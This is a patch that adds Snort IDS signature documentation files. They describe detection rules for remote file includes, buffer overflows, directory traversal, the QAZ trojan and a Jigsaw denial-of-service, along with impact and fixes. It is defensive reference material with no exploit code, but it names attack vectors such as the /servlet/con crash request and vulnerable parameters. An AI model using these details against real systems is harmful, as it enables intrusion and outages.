+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow viewing of web server statistics from external sources.
+
+Remove the appropriate lines from the obj.conf file to disallow viewing 
+of server performance statistics.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000323.txt
+++ snort-2.8.5.2/doc/signatures/100000323.txt
@@ -0,0 +1,78 @@
+
+
+Rule:
+
+--
+Sid:
+100000323
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "ScozNet ScozNews" application running on a 
+webserver. Access to the file "news.php" using a remote file being passed as 
+the "main_path" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "main_path" parameter in the "news.php" script used by 
+the "ScozNet ScozNews" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using ScozNet ScozNews
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3080.txt
+++ snort-2.8.5.2/doc/signatures/3080.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+3080
+
+--
+Summary:
+This event is generated when a remote attacker sends an overly long "secure"
+query to a host acting as an Unreal engine server.  This may
+indicate an attempt to exploit a buffer overflow vulnerability.
+
+--
+Impact:
+Serious. A successful buffer overflow can permit the execution of arbitrary
+code on a vulnerable system.
+
+--
+Detailed Information:
+Unreal Tournament 2003 and 2004 are popular games developed by EpicGames and
+available for Linux, Windows and Macintosh platforms. The Unreal engine is
+used for both client and server functionality. An overly long "secure"
+query can be sent to the game server, causing a buffer overflow and the
+subsequent execution of arbitrary code.
+
+--
+Affected Systems:
+	Multiple versions of the Unreal Engine running on Linux, Microsoft
+	Windows and Macintosh platforms.
+
+--
+Attack Scenarios:
+An attacker can send an overly long "secure" query to a vulnerable host, causing
+a buffer overflow and the subsequent execution of arbitrary code.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+Unreal servers can be configured to run on arbitrary ports.
+Administrators should either change the port used in the rule or create
+a variable for the ports to be used in the rule.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the most current nonaffected version of the software.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+OSVDB
+http://www.osvdb.org/displayvuln.php?osvdb_id=7217&Lookup=Lookup
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1821.txt
+++ snort-2.8.5.2/doc/signatures/1821.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+1821
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in dvips on some RedHat Linux systems.
+
+--
+Impact:
+Execution of commands with the privileges of the lp daemon.
+
+--
+Detailed Information:
+dvips is used to convert DVI documents into PostScript format for
+printing. The line printer daemon may use dvips to print DVI documents
+using a filter.
+
+A configuration error in some distributions of RedHat Linux allows a
+remote attacker to execute commands via this utility.
+
+--
+Affected Systems:
+	RedHat Linux 6.2, 7.0 and 7.1
+
+--
+Attack Scenarios:
+The attacker can place the commands to be excuted in a DVI file and send
+that to the lp daemon.
+
+--
+Ease of Attack:
+Simple. No exploit software is required.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+
+Ensure that dvips is executed in safe mode by the lp daemon by
+specifying the use of the -R flag in the dvi-to-ps.fpi configuration file.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2845.txt
+++ snort-2.8.5.2/doc/signatures/2845.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2845
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure register_snapshot_repgroup
+. This procedure is included in
+sys.dbms_repcat_sna_utl.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000580.txt
+++ snort-2.8.5.2/doc/signatures/100000580.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000580
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "cat_view.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "cat_view.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/775.txt
+++ snort-2.8.5.2/doc/signatures/775.txt
@@ -0,0 +1,97 @@
+Rule:
+
+--
+Sid:
+775
+
+--
+Summary:
+QAZ is a Trojan Horse.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a compromise of all resources the machine is connected to.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows NT
+	Windows 2000
+	Windows XP
+
+No other systems are affected. This is a windows exceutable that makes changes to the system registry.
+
+The Trojan changes system startup files and registry settings to add the QAZ sever to programs normally started on boot.
+
+	SID	Message
+	---	-------
+	108	QAZ Worm Client Login access
+	731	Virus - Possible QAZ Worm (Indicates worm activity)
+	775	Virus - Possible QAZ Worm Infection (Indicates worm activity)
+	733	Virus - Possible QAZ Worm Calling Home (Indicates the worm is trying to send mail)
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This event is indicative of an existing infection being activated. Initial compromise can be in the form of a Win32 installation program that may use the extension ".jpg" or ".bmp" when delivered via e-mail for example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. Updated virus definition files are essential in detecting this Trojan.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+This is a particularly difficult Trojan to remove and should only be attempted by an experienced Windows Administrator.
+
+Edit the system registry to remove the extra keys or restore a previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Run
+
+Registry keys added are:
+
+	StartIE=C:\WINDOWS\notepad.exe qazwsx.hsq
+
+This will start the Trojan each time notepad is executed.
+
+Look for the existence of the file note.com. The file notepad.exe may have been replaced with a Trojaned version that is approximately 120 kb in size (the original is 52 kb).
+
+A machine reboot is required to clear the existing process from running in memory.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS501
+http://www.whitehats.com/info/IDS498
+http://www.whitehats.com/info/IDS499
+
+McAfee
+http://vil.nai.com/vil/content/v_98775.htm
+
+Symantec Security Response
+http://securityresponse.symantec.com/avcenter/venc/data/w32.hllw.qaz.a.html
+
+Diamond Computer Systems Security Advisory
+http://www.diamondcs.com.au/web/alerts/qaz.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1105.txt
+++ snort-2.8.5.2/doc/signatures/1105.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1105
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3191.txt
+++ snort-2.8.5.2/doc/signatures/3191.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3191
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/538.txt
+++ snort-2.8.5.2/doc/signatures/538.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+538
+
+--
+Summary:
+This event is generated when an attempt is made to gain access to
+private resources using Samba.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to use Samba to gain
+access to private or administrative shares on a host.
+
+--
+Affected Systems:
+	All systems using Samba for file sharing.
+	All systems using file and print sharing for Windows.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+direct access to Windows adminsitrative shares.
+
+--
+Ease of Attack:
+Simple. Exploit software is not required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1831.txt
+++ snort-2.8.5.2/doc/signatures/1831.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+
+1831
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a Denial of Service (DoS) condition in the Jigsaw web server from W3C.
+
+--
+Impact:
+Denial of Service.
+
+--
+Detailed Information:
+Jigsaw is a Java-based web server developed by W3C. Jigsaw version 2.2.1 is vulnerable to a DoS attack caused by improper handling of requests for DOS device names.
+
+Jigsaw web server versions prior to 2.2.1 (Build 20020711)  contain a Denial of Service vulnerability in a handler that processes HTTP requests for DOS device files. This may result in process threads hanging and a consumption of all available resources.
+
+
+--
+Affected Systems:
+	Jigsaw 2.2.1
+
+--
+Attack Scenarios:
+It is possible to crash the Jigsaw web server by requesting /servlet/con about 30 times.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+Certain HTTP requests may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest version of Jigsaw (2.2.1 Build 20020711 or later)
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Nawapong Nakjang (tony@ksc.net, tonie@thai.com)
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/5258/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1826.txt
+++ snort-2.8.5.2/doc/signatures/1826.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+1826
+
+--
+Summary:
+This event is generated when an attempt is made to access the WEB-INF
+directory on a web server.
+
+--
+Impact:
+Information disclosure.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to access the WEB-INF
+directory on a web server.
+
+Multiple vendors are affected by an information disclosure issue where
+sensitive contents of a web application server can be revealed to an
+attacker by requesting the contents of this directory.
+
+--
+Affected Systems:
+	Multiple vendors, see references.
+
+--
+Attack Scenarios:
+The attacker can make a simple web request for the directory that will
+reveal the sensitive files. The attacker can then retrieve the files for
+information that can be used in later attacks against the server or
+application.
+
+--
+Ease of Attack:
+Simple. Exploit software not required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1199.txt
+++ snort-2.8.5.2/doc/signatures/1199.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1199
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/409.txt
+++ snort-2.8.5.2/doc/signatures/409.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+
+Sid:
+409
+
+--
+
+Summary:
+This event is generated when a network host generates an ICMP Echo Reply with an invalid or undefined ICMP Code.
+
+--
+
+Impact:
+Information-gathering.  An ICMP Echo Reply message is sent in response to an ICMP Echo Request message.  If the ICMP Echo Reply message reaches the requesting host it indicates that the replying host is alive.  Most OS's (operating systems) will accept an ICMP Echo Reply message with an invalid or undefined ICMP code set as a valid ICMP Echo Reply.
+
+--
+
+Detailed Information:
+ICMP Type 0 Code 0 is the RFC defined messaging type for ICMP Echo Reply datagrams.  This type of message is used to determine if a host is active on the network.
+
+--
+
+Attack Scenarios:
+Remote attackers my generate ICMP Echo Reply datagrams with invalid ICMP Codes in an attempt to cause faults in the applications or hosts generating ICMP Echo Requests.
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Use ingress filtering to prevent ICMP Type 0 messages from entering the network.
+
+--
+
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/432.txt
+++ snort-2.8.5.2/doc/signatures/432.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+
+Sid:
+432
+
+--
+
+Summary:
+This event is generated when a host generates and ICMP Type 40 Code 3 Decryption Failed datagram.
+
+--
+
+Impact:
+ICMP Type 40 Code 3 datagrams are an indication that a received datagram failed a decryption check for a given SPI.  Normally this is an indication that hosts using IP Security Protocols such as AH or ESP have been configured incorrectly or are failing to establish a session with another host.
+
+--
+
+Detailed Information:
+Hosts using IP Security Protocols such as AH or ESP generate ICMP Type 40 datagrams when a failure condition occurs.  ICMP Type 40 Code 3 datagrams are generated when a received datagram fails the decryption check for a given SPI (Security Parameters Index). 
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+
+--
+
+Corrective Action:
+ICMP Type 40 datagrams not normally seen on the network.  Currently Sourcefire is unaware of any hardware that has implemented these types of ICMP datagrams.  Hosts generating these types of ICMP datagrams should be investigated for nefarious activity or configuration errors. 
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+RFC2521
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/924.txt
+++ snort-2.8.5.2/doc/signatures/924.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+924
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2215.txt
+++ snort-2.8.5.2/doc/signatures/2215.txt
@@ -0,0 +1,56 @@
+Rule:  
+
+--
+Sid:
+2215
+
+--
+Summary:
+This event is generated when an attempt is made to access nsManager.cgi on an internal web server. This may indicate an attempt to exploit an authentication vulnerability in Alabanza Control Panel 3.0 and earlier.
+
+--
+Impact:
+System integrity.
+
+--
+Detailed Information:
+Alabanza Control Panel 3.0 is an application that manages automated virtual domain administration. It contains a vulnerability which allows an attacker to bypass authentication using specially crafted HTTP requests to add, modify, or delete domains, or change MX and CNAME host information for managed hosts.
+ 
+--
+Affected Systems:
+Any domains managed by an administrator using Alabanza Control Panel 3.0 or earlier.
+
+--
+Attack Scenarios:
+An attacker crafts a URL that adds or deletes a virtual domain and transmits it to nsManager.cgi. The Alabanza Control Panel makes the requested change without prompting for a username or password.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+If a legitimate remote user accesses nsManager.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest version of the software, or apply the vendor-provided patch.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+Bugtraq
+http://www.securityfocus.com/bid/1710
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2338.txt
+++ snort-2.8.5.2/doc/signatures/2338.txt
@@ -0,0 +1,61 @@
+Rule:  
+
+--
+Sid:
+2338
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in GtkFtpd.
+
+--
+Impact:
+Execution of arbitrary code. Possible unauthorized root access.
+
+--
+Detailed Information:
+GtkFtpd fails to perform sufficient checks on user supplied data to the
+daemon. An attacker may exploit this vulnerability to execute code of
+their choosing as the root user. This may also lead to remote root
+access to the server.
+
+--
+Affected Systems:
+	GtkFtpd 1.0.2, 1.0.3 and 1.0.4
+
+--
+Attack Scenarios:
+An attacker may use a publicly available exploit script to take
+advantage of the vulnerability.
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Upgrade to the latest non-affected version of the software.
+
+Use scp/sftp as an alternative to ftp.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2752.txt
+++ snort-2.8.5.2/doc/signatures/2752.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2752
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure comment_on_repgroup
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2951.txt
+++ snort-2.8.5.2/doc/signatures/2951.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+2951
+
+--
+Summary:
+This event is generated when multiple stacked SMB requests are made.
+
+--
+Impact:
+Possible IDS evasion.
+
+--
+Detailed Information:
+This event is generated when multiple stacked SMB requests are detected.
+This behavior does not occur on a regular basis in normal network
+traffic. This event may indicate an attempt to evade an IDS.
+
+--
+Affected Systems:
+	All systems using SMB.
+
+--
+Attack Scenarios:
+An attacker might create multiple stacked SMB requests in an attempt to
+bypass an IDS.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+If the second and third stacked requests are of a combined length that
+is less than 37 bytes this rule will not generate an event.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disallow the use of SMB.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/304.txt
+++ snort-2.8.5.2/doc/signatures/304.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid: 304
+
+--
+Summary:
+This event is genereated when an attempt to overflow the buffer of a SCO server is attempted.
+
+--
+Impact:
+Serious. System compromize presenting the attacker with the opportunity to gain remote access to the victim host or execute arbitrary code with the privileges of the superuser account.
+
+--
+Detailed Information:
+Some versions of SCO UNIX Calserver are vulnerable to a buffer overflow condition which can present the attacker with a root shell.
+
+Affected Systems:
+	SCO Internet faststart 1.0, 1.1
+	SCO Open Server 5.0, 5.0.2, 5.0.3 and 5.0.4
+
+--
+Attack Scenarios:
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply vendor supplied patches.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0306
+
+Bugtraq:
+http://www.securityfocus.com/bid/2353
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2156.txt
+++ snort-2.8.5.2/doc/signatures/2156.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+2156
+
+--
+Summary:
+This event is generated when an attempt is made to ascertain the status of the Apache module mod_gzip on a host. 
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to ascertain the status of the Apache module mod_gzip on a host from a source external to the protected network.
+
+mod_gzip is used to compress data sent by an Apache webserver in an attempt to preserve bandwidth and speed up communications between client and server.
+
+The attacker may be trying to gain information on the server by making a query to the mod_gzip_status page. This could lead to information disclusure which might then be used in further attacks against that host.
+
+--
+Affected Systems:
